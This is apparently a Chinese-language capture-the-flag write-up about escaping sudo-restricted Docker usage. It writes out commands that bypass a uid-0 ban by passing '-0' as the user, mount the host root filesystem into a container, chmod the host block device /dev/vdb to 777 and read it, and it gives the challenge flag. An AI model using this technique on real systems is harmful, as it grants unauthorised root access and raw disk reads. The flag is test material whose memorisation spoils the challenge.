修改一下telnet的端口配置,访问第二小问,sudo -l命令允许提权执行的命令:


发现多了这两个限制--security-opt=no-new-privileges,表明docker run命令必须带上--security-opt=no-new-privileges参数,这可以防止通过suid机制获取root权限,同时禁止了--device参数,无法从容器内读取flag
老样子,rz传输tar.gz文件并解压载入tar镜像:
rz
gunzip dockerfile.tar.gz
sudo docker image load < dockerfile.tar


了解到一个方法:
uid是整数型,整数的+0和-0就是一个东西,不让指定uid为0,那就指定为-0来绕过
sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --user -0:0 -v /:/host -it dockerfile
cat /host/dev/vdb

成功获取到root shell,但在容器内,依旧不能读设备块
修改一下文件权限即可,再exit退出容器,cat /dev/vdb就可以成功获取flag了:
chmod 777 /host/dev/vdb
cat /dev/vdb

flag{contA1N3R_R0ot_i5_4cCESsIb1e_c692a7d2c6}